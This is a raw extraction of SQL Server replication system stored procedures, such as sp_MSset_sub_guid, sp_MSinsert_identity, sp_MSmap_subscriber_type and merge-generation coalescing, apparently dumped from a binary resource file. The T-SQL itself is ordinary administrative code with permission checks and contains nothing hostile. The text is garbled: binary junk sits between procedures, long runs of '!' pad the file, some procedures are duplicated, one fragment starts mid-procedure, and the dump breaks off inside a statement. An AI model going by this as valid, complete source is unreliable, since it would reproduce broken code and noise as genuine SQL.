~88M0;SF 8create procedure sys.sp_MSset_sub_guid (
    @publisher      sysname,                    -- publishing server name
    @publisher_db   sysname,                    -- publishing database name. If NULL then same as current db
    @publication    sysname,                    -- publication name,
    @subscription_type int,
    @subscription_guid binary(16),
    @queue_id        sysname,
    @queue_server    sysname = NULL
)
AS
BEGIN
    set nocount on
    declare @retcode int
                ,@independent_agent bit
                ,@subqueue_id sysname

    --  Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)

    -- For non independent agent publications
    if @publication is null or @publication = ''
    begin
        select @publication = 'ALL'
                ,@independent_agent = 0
    end
    else
        select @independent_agent = 1

    if @queue_id = N''
        select @queue_id = NULL

    if @queue_server = N''
        select @queue_server = NULL
    --
    -- Special processing when we are dealing with pull SQL queue updating subscription
    --
    if ((@subscription_type = 1) and substring(@queue_id, 1, 10) = N'mssqlqueue')
    begin
        --
        -- For SQL Queue case - Check the current queue_id on the table
        --
        select @subqueue_id = queue_id
        from dbo.MSsubscription_agents
        where UPPER(publisher) = UPPER(@publisher)
            and publisher_db =  @publisher_db
            and publication = @publication
            and subscription_type = @subscription_type
        if (@subqueue_id is not NULL and substring(@subqueue_id, 1, 10) = N'mssqlqueue')
        begin
            --
            -- Use the local Queue ID on subscriber as this contains the queue version. 
            -- We are attaching an initialized subscription and do not want to change the 
            -- queue version stored in queue_id for SQL Queues. The value passed by Distribution
            -- Agent is from the distributor metadata and does not contain the queue version information.
            -- This is specific to SQL Queues only.
            --
            select @queue_id = @subqueue_id
        end
    end
    --
    -- Update metadata in MSsubscription_agents
    --
    update MSsubscription_agents set      
        queue_id = @queue_id
        ,queue_server = @queue_server
    where UPPER(publisher) = UPPER(@publisher)
    and publisher_db =  @publisher_db
    and publication = @publication
    and subscription_type = @subscription_type

    update MSreplication_subscriptions set      
        [time] = getdate(),
        subscription_guid = @subscription_guid
    where UPPER(publisher) = UPPER(@publisher)
        and publisher_db =  @publisher_db
        and (@independent_agent = 0 or publication = @publication)
        and subscription_type = @subscription_type
        and independent_agent = @independent_agent
END
0kL 88hjm
0M 88"0/P 8CREATE PROCEDURE sys.sp_MSinsert_identity 
(
    @publisher 			sysname,
    @publisher_db 		sysname,
    @tablename 			sysname,
    @identity_support	int,
    @pub_identity_range bigint,
    @identity_range 	bigint,
    @threshold 			int,
    @next_seed			bigint,
    @max_identity		bigint = NULL
) 
AS
begin
    declare @pub_seed 		bigint	
    declare @current_max 	bigint
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSinsert_identity', 'distribution')
        return (1)
    end
    if not exists (select * from MSrepl_identity_range 
    		where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db)
    begin
    	select @pub_seed = @pub_identity_range + @next_seed
    	select @current_max = @pub_seed - 1
    	insert MSrepl_identity_range(publisher, publisher_db, tablename, identity_support, next_seed, pub_range, range, max_identity, threshold, current_max	)
    			values (@publisher, @publisher_db, @tablename, @identity_support, @pub_seed,  @pub_identity_range, @identity_range, @max_identity, @threshold, @current_max)
    	if @@ERROR<>0
    		return 1
    end
    else if 1 > 1 --disable this segment for now.
    	begin --adjust republisher's resource table
    		select @pub_seed = @pub_identity_range - 1
    		/* update range, threshold at republisher as needed. Max and next_seed has been set already. */
    		update MSrepl_identity_range set	range = @identity_range,
    											pub_range = @pub_identity_range,
    											threshold=@threshold, 
    											next_seed=next_seed + @pub_identity_range,
    											current_max=next_seed + @pub_seed --new next_seed not yet picked up
    		where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
    		if @@ERROR<>0
    			return (1)
    	end
end
0`h D8h'e0h 58create procedure sys.sp_MSquery_syncstates
(
    @publisher_id smallint, 
    @publisher_db sysname
)
as
begin
	declare @retcode int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    -- note:  obtain publisher_id via call to sp_MSvalidate_distpublisher

	select publication_id from MSsync_states 
	where publisher_id = @publisher_id 
	and publisher_db = @publisher_db
end
0o@ 8CREATE PROCEDURE sys.sp_addlogreader_agent 
(
	@job_login					nvarchar(257)	= NULL,
	@job_password				sysname			= NULL,
	@job_name					sysname			= NULL,
	@publisher_security_mode	smallint		= NULL,
	@publisher_login			sysname 		= NULL,
	@publisher_password 		sysname 		= NULL,
	@publisher					sysname 		= NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname
	
	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@publisher_type = @publisher_type OUTPUT,
													@rpcheader		= @cmd OUTPUT

	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_addlogreader_agent'

	EXEC @retcode = @cmd
					@job_login					= @job_login,
					@job_password				= @job_password,
					@job_name					= @job_name,
					@publisher_security_mode	= @publisher_security_mode,
					@publisher_login			= @publisher_login,
					@publisher_password 		= @publisher_password,
					@publisher					= @publisher,
					@publisher_type 			= @publisher_type

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!{``f
<e
kz0kL 88hjm
0M 88"0/P 8CREATE PROCEDURE sys.sp_MSinsert_identity 
(
    @publisher 			sysname,
    @publisher_db 		sysname,
    @tablename 			sysname,
    @identity_support	int,
    @pub_identity_range bigint,
    @identity_range 	bigint,
    @threshold 			int,
    @next_seed			bigint,
    @max_identity		bigint = NULL
) 
AS
begin
    declare @pub_seed 		bigint	
    declare @current_max 	bigint
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSinsert_identity', 'distribution')
        return (1)
    end
    if not exists (select * from MSrepl_identity_range 
    		where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db)
    begin
    	select @pub_seed = @pub_identity_range + @next_seed
    	select @current_max = @pub_seed - 1
    	insert MSrepl_identity_range(publisher, publisher_db, tablename, identity_support, next_seed, pub_range, range, max_identity, threshold, current_max	)
    			values (@publisher, @publisher_db, @tablename, @identity_support, @pub_seed,  @pub_identity_range, @identity_range, @max_identity, @threshold, @current_max)
    	if @@ERROR<>0
    		return 1
    end
    else if 1 > 1 --disable this segment for now.
    	begin --adjust republisher's resource table
    		select @pub_seed = @pub_identity_range - 1
    		/* update range, threshold at republisher as needed. Max and next_seed has been set already. */
    		update MSrepl_identity_range set	range = @identity_range,
    											pub_range = @pub_identity_range,
    											threshold=@threshold, 
    											next_seed=next_seed + @pub_identity_range,
    											current_max=next_seed + @pub_seed --new next_seed not yet picked up
    		where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
    		if @@ERROR<>0
    			return (1)
    	end
end
0`h D8h'e0h 58create procedure sys.sp_MSquery_syncstates
(
    @publisher_id smallint, 
    @publisher_db sysname
)
as
begin
	declare @retcode int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    -- note:  obtain publisher_id via call to sp_MSvalidate_distpublisher

	select publication_id from MSsync_states 
	where publisher_id = @publisher_id 
	and publisher_db = @publisher_db
end
0o@ 8CREATE PROCEDURE sys.sp_addlogreader_agent 
(
	@job_login					nvarchar(257)	= NULL,
	@job_password				sysname			= NULL,
	@job_name					sysname			= NULL,
	@publisher_security_mode	smallint		= NULL,
	@publisher_login			sysname 		= NULL,
	@publisher_password 		sysname 		= NULL,
	@publisher					sysname 		= NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname
	
	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@publisher_type = @publisher_type OUTPUT,
													@rpcheader		= @cmd OUTPUT

	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_addlogreader_agent'

	EXEC @retcode = @cmd
					@job_login					= @job_login,
					@job_password				= @job_password,
					@job_name					= @job_name,
					@publisher_security_mode	= @publisher_security_mode,
					@publisher_login			= @publisher_login,
					@publisher_password 		= @publisher_password,
					@publisher					= @publisher,
					@publisher_type 			= @publisher_type

	RETURN (@retcode)
END
0%Pm@ D8X*h$#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	{	`d
e
<f
~8;<0
H 8
create procedure sys.sp_MSmap_subscriber_type (
    @user_type_id int,
    @len smallint, 
    @prec int, 
    @scale int,
    @schema_option varbinary(8),
    @type nvarchar(258) output,
    @schname nvarchar(140) output,
    @maplen smallint =0 output
)
as
    declare @typeout nvarchar(258)
    declare @schema_option_lodword int
    declare @schema_option_hidword int
    declare @system_type_id int

    select @maplen=0

    select @schema_option_lodword = sys.fn_replgetbinary8lodword(@schema_option)
    select @schema_option_hidword = sys.fn_replgetbinary8hidword(@schema_option)
    select @system_type_id = system_type_id from sys.types where user_type_id = @user_type_id

    -- This schema option implies that user defined types should be mapped ot base types.
    if ((@schema_option_lodword  & 0x00000020) = 0x00000020)
    begin
        select @type = type_name(system_type_id) from sys.types where user_type_id = @user_type_id
        if @type is NULL
            select @type = 'image'
        -- don't append the schema owner qualification if it is mapped to base types
        -- bug #414067
        select @schname = N''
    end
    else
        select @type = type_name(@user_type_id)
    
    select @typeout = case @type
        when 'binary' then 'varbinary'
        when 'char' then 'varchar'
        when 'nchar' then 'nvarchar'
        when 'datetimn' then 'datetime'
        when 'decimaln' then 'decimal'
        when 'floatn' then 'float'
        when 'intn' then 'int'
        when 'moneyn' then 'money'
        when 'numericn' then 'numeric'
        when 'timestamp' then 'varbinary'
        when 'bit' then 'tinyint'
        else @type
        END
        
	--
	-- Quote UDTs.  Systems types are left alone as there are a number of places where we do 
	--  text based name comparisons for system types.
	--
	if exists (select * from sys.types where name = @typeout and is_user_defined = 1)
	begin
		select @typeout = quotename(@typeout)
	end

    -- HierarchyIdToVarBinaryMax
    if @schema_option_hidword & 0x00000020 <> 0 and @system_type_id = 240 and @typeout='hierarchyid'
    begin
        if ((@schema_option_lodword & 0x20000000) <> 0)
             select @type = 'image'           
        else
             select @type = 'varbinary(max)'

        select @schname = N''
        return
    end

    -- SpatialTypesToVarBinaryMax
    if @schema_option_hidword & 0x00000080 <> 0 and @system_type_id = 240 and (@typeout='geometry' or @typeout='geography')
    begin
        if ((@schema_option_lodword & 0x20000000) <> 0)
             select @type = 'image'           
        else
             select @type = 'varbinary(max)'
        
        select @schname = N''
        return
    end

    -- LargeUserDefinedTypesToVarBinaryMax
    if (@len = -1 and 
        @schema_option_hidword & 0x00000010 <> 0 and
        @system_type_id = 240)
    begin
        select @typeout = 'varbinary'
        -- don't append the schema owner qualification if it is mapped to base types
        select @schname = N''
    end

    -- append length or scale and precision if needed
    if (@typeout = 'varbinary' or @typeout = 'varchar' or @typeout = 'nvarchar')
    begin
        if @len=0 or @len=-1
        begin
            -- if the following is true map max types to matching non max types is set
            if ((@schema_option_lodword  & 0x20000000) = 0x20000000)
            begin
                -- nvarchar(max) -> ntext
                -- varchar(max) -> text
                -- varbinary(max) -> image
                if @typeout = 'nvarchar' 
                    select @type = 'ntext'
                if @typeout = 'varchar' 
                    select @type = 'text'
                if @typeout = 'varbinary' 
                    select @type = 'image'
            end
            else
            begin
                select @type = @typeout + '(max)'
            end
        end
        else
        begin
            select @type = @typeout + '(' + rtrim(convert(nchar, @len)) + ')'
        end
        return
    end
    if (@typeout = 'numeric' or @typeout = 'decimal')
    begin
        select @type = @typeout + '(' + rtrim(convert(nchar, @prec)) + ',' + 
                rtrim(convert(nchar, @scale)) + ')'
        return
    end

	--Convert date, time, datetime2, datetimeoffset to character data 
	--for subscribers that do not support these types       
	--ConvertNewDateTimeTypesToStrings = 0x0000000200000000

    if ((@schema_option_hidword & 0x00000002) = 0x00000002)
    begin
    	if @typeout = 'date'
    	begin
    		select @type = 'nchar (10)'	
    		select @maplen=10 * 2
    		return
    	end

    	if @typeout = 'time'
    	begin
    		select @type = 'nvarchar (16)'
    		select @maplen=16 * 2
    		return
    	end

    	if @typeout = 'datetime2'
    	begin
    		select @type = 'nvarchar (27)'
		select @maplen=27 *2 
    		return
    	end 

    	if @typeout = 'datetimeoffset'
    	begin
    		select @type = 'nvarchar (34)'
    		select @maplen=34*2
    		return
    	end    	
    end

    -- now check for UDT, UDF and other special cases. Check the schema_options to see
    -- if any of these special types should be transformed.
    declare @schema_option_xml_to_ntext int

    if (@typeout = 'xml' and ((@schema_option_lodword & 0x10000000) = 0x10000000)) -- @schema_option_xml_to_ntext
    begin
        select @typeout = 'ntext'
        -- don't append the schema owner qualification if it is mapped to base types
        -- bug #414067
        select @schname = N''
    end


    select @type = @typeout
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	8<g
8ij0(@ 8 
--
-- Name: sp_refreshsubscriptions
--
-- Description: Add article to existing subscriptions
--
-- Parameter: (see proc below)
--
-- Returns: 
--
-- Security: Why is this public - can it not be internal 
--
create procedure sys.sp_refreshsubscriptions
(
	@publication sysname,
	@publisher	 sysname = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname
	
	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_refreshsubscriptions'

	EXEC @retcode = @cmd
					@publication,
					@publisher,
					@publisher_type
					

	RETURN (@retcode)
END
0"@ 8CREATE VIEW sys.dm_os_memory_broker_clerks AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_MEMORY_BROKER_CLERKS)
0CB 8create procedure sys.sp_MSscript_params (
    @objid   int,
    @artid int,
    @postfix nvarchar(8) = NULL,
    @bOutParams tinyint = 0, -- boolean indicating wether or not to declare timestamp/identity params as output params
    @outvars nvarchar(4000) = NULL output
    ,@agent_id	int = NULL  	-- null @agent_id means this is executed at pub side, 
    										-- pub queries sysarticlecolumns for article column partition, 
    										-- sub uses MSsubscription_articlecolumns
    )
as
BEGIN
    set nocount on
    declare @cmd          nvarchar(4000)
            ,@colname      sysname
            ,@typestring   nvarchar(4000)
            ,@spacer       nvarchar(1)
            ,@spacer2      nvarchar(1)
            ,@this_col     int
            ,@art_col      int
            ,@isset        int
            ,@ispkcol      int

    select @spacer = N' '
            ,@spacer2 = N' '
            ,@art_col = 1
            ,@outvars = null
            ,@cmd = N'    '

    DECLARE #hccolid CURSOR LOCAL FAST_FORWARD FOR 
    select column_id from sys.columns where object_id = @objid order by column_id asc

    OPEN #hccolid
    FETCH #hccolid INTO @this_col
    WHILE (@@fetch_status <> -1)
    begin

        if @artid is not null
            exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, 1, @agent_id
        else
            select @isset = 1

        exec @ispkcol = sys.sp_MSiscolpk @objid, @this_col

        if @isset != 0 and EXISTS (select name from sys.columns where object_id=@objid and column_id=@this_col and (is_computed<>1 or @ispkcol<>0)) 
        begin
            exec sys.sp_MSget_type @objid, @this_col, @colname output, @typestring OUTPUT
            if (@typestring IS NOT NULL)
            begin
                --
                -- for xml type - we will use nvarchar(max)
                --
                if (@typestring = 'xml')
                    select @typestring = 'nvarchar(max)'
                if @postfix is null
                    select @cmd = @cmd + @spacer + N'@c' + convert(varchar(4), @this_col) + N' ' + @typestring 
                else
                    -- old vars
                    select @cmd = @cmd + @spacer + N'@c' + convert(varchar(4), @this_col) + @postfix + N' ' + @typestring

                -- new vars of type timestamp and identity are declared as output params
                if @bOutParams = 1 and (@typestring = N'timestamp' or ColumnProperty(@objid, @colname, 'IsIdentity') = 1)
                begin
                    select @cmd = @cmd + N' output'
                    select @outvars = isnull(@outvars, N'') + @spacer2 + N'@c' + convert(varchar(4), @this_col) + N' = ' + quotename(@colname) 
                    select @spacer2 = N','
                end
                
                select @spacer = N','
            end
            select @art_col = @art_col + 1

            -- flush command if necessary
            exec sys.sp_MSflush_command @cmd output, 1, 4
       end
       FETCH #hccolid INTO @this_col
    end
    CLOSE #hccolid
    DEALLOCATE #hccolid
    --
    -- all done
    --
    return 0
END
0" 8
create procedure sys.sp_showlineage
    @lineage varbinary(311)
as
    set nocount on

    declare @result table (position smallint, replnick binary(6), version int)

    declare @i smallint
    set @i= 0
    while (@i < DATALENGTH(@lineage)/10)
    begin
        declare @replnick binary(6)
        set @replnick= (select substring(@lineage, @i*10+1, 6))

        declare @version int
        set @version= cast(substring(@lineage, @i*10+10,1) as int)
        set @version= @version*256 + cast(substring(@lineage, @i*10+9,1) as int)
        set @version= @version*256 + cast(substring(@lineage, @i*10+8,1) as int)
        set @version= @version*256 + cast(substring(@lineage, @i*10+7,1) as int)
        
        insert into @result(position, replnick, version) select @i+1, @replnick, @version
        set @i= @i+1
    end
    select * from @result order by position
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H`<(h
5Ksv[n
    where gens1.genstatus=3
    if @@error<>0
    begin
        select @procfailed = 1
        goto EXIT_RELEASE_TRAN
    end

    update gens1 with (rowlock)
        set changecount = gens1.changecount + isnull(gens.changecount, 0)
    from
        dbo.MSmerge_genhistory gens1 with (rowlock)
        left outer join
        (
            select g.generation, count(*) as changecount
            from MSmerge_genhistory g  with (rowlock)
                inner join MSmerge_tombstone t  with (rowlock, repeatableread) on t.generation = g.generation and g.genstatus=3
            where t.generation = g.generation and 
                  g.genstatus=3
                  group by g.generation
        ) as gens 
            on gens1.genstatus=3 and gens1.generation = gens.generation
    where gens1.genstatus=3 
    if @@error<>0
    begin
        select @procfailed = 1
        goto EXIT_RELEASE_TRAN
    end

    if @max_gen_changecount_threshold > 0 and
        exists (select * from dbo.MSmerge_genhistory with (rowlock) where genstatus=3 and changecount > @max_gen_changecount_threshold)
    begin
        -- do leveling in a seperate transaction. We don't want to club leveling with closing of generations
        -- because we want contents leveling to happen in article order and tombstone leveling to happen in reverse
        -- article order. We can make the assumption that for a particular generation all the changes will either
        -- be in tombstone or contents. If not the triggers would have done the proper leveling anyways
        exec @retcode = sys.sp_MSleveltombstone
        if @retcode<>0 or @@error<>0 
        begin
            set @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end

        exec @retcode = sys.sp_MSlevelcontents 
        if @retcode<>0 or @@error<>0 
        begin
            set @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end
    end
    
    
    -- should we look for a generation with 0 artnick. We will do some special processing to split this generation's
    -- changes into per article generation changes. Let us not complete this splitting of changes in 0 artnick
    -- generation to valid artnick generations. This is because in old makegeneration we were neither leveling
    -- these generations nor explictly closing them. localize interrupted generations was closing them
    -- here we will definitely close them at the end of this transaction. But we will not level or coalese them.
    -- TODO: possibly add some code for 0 artnick generations

    -- from this point on we will only work on the temporarily closed generations that have a valid artnick
    -- now pick one generation at a time and do the following:
    --  1. coalesce multiple generations if needed
    --  2. leveling of changes has been done already outside this transaction
    select top 1 @art_nick = nickname, @processing_order = processing_order from dbo.sysmergearticles
    order by processing_order, nickname
    while @art_nick is not null
    begin
        -- get the generation change threshold
        select @gen_change_threshold = min(isnull(generation_leveling_threshold,0)) from dbo.sysmergepublications
            where pubid in (select pubid from dbo.sysmergearticles where nickname = @art_nick)
        if @gen_change_threshold > 0
        begin
            select @min_changes_per_gen = @gen_change_threshold/10
            if (@min_changes_per_gen = 0)
                select @min_changes_per_gen = 1
            select @max_changes_per_gen = @gen_change_threshold * 2
            select @median_changes_per_gen = @gen_change_threshold

            set @bi_view_objid= (select top 1 before_upd_view_objid from dbo.sysmergearticles where nickname = @art_nick)
            if @bi_view_objid is not null
            begin
                set @cmd= 'update ' + @dbname + '.[dbo].' + quotename(object_name(@bi_view_objid)) 
                            + ' set generation=@target_gen where generation=@gen'
            end
            
            -- now coalesce generations that have fewer than min changes per generation.
            -- we will ignore zero change generations because at the end of the transaction we will delete them anyways
            select @gen = NULL
            select top 1 @gen = generation, @changes_in_gen = changecount from dbo.MSmerge_genhistory with (rowlock) 
                where genstatus = 3 and 
                      changecount < @min_changes_per_gen and 
                      changecount > 0 and 
                      art_nick = @art_nick and
                      subscriber_number = 0  -- this ensures that we coalesce only local generations and not localized generations
            while @gen is not NULL
            begin
                -- now check if there are generations with lower than the min changes per gen we want. If so we will coalesce all these gens
                select @target_gen = NULL
                select top 1 @target_gen = generation, @changes_in_target_gen = changecount from dbo.MSmerge_genhistory with (rowlock) 
                    where genstatus = 3 and 
                          changecount < @median_changes_per_gen and 
                          changecount > 0 and 
                          art_nick = @art_nick and 
                          generation <> @gen  and
                          subscriber_number = 0 -- this ensures that we coalesce only local generations and not localized generations
                if @target_gen is NULL
                begin
                    -- we have hit our last gen which has too few changes. So just leave it as it
                    break
                end

                update dbo.MSmerge_tombstone with (rowlock) set generation = @target_gen 
                    where generation = @gen and tablenick = @art_nick
                select @error = @@error, @tombstone_rows_moved = @@rowcount
                if @error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end
                select @changes_in_target_gen = @changes_in_target_gen + @tombstone_rows_moved
                select @changes_in_gen = @changes_in_gen - @tombstone_rows_moved

                update dbo.MSmerge_past_partition_mappings with (rowlock) set generation = @target_gen 
                    where generation = @gen and tablenick = @art_nick
                if @@error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end
                    
                update dbo.MSmerge_contents with (rowlock) set generation = @target_gen 
                where generation = @gen and tablenick = @art_nick
                select @error = @@error, @contents_rows_moved = @@rowcount
                if @error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end

                -- now update all other tables include before view that are using the old generation number
                if @bi_view_objid is not null
                begin
                    exec sys.sp_executesql @cmd, N'@gen bigint, @target_gen bigint', @gen=@gen, @target_gen=@target_gen
                    if @@ERROR <> 0 
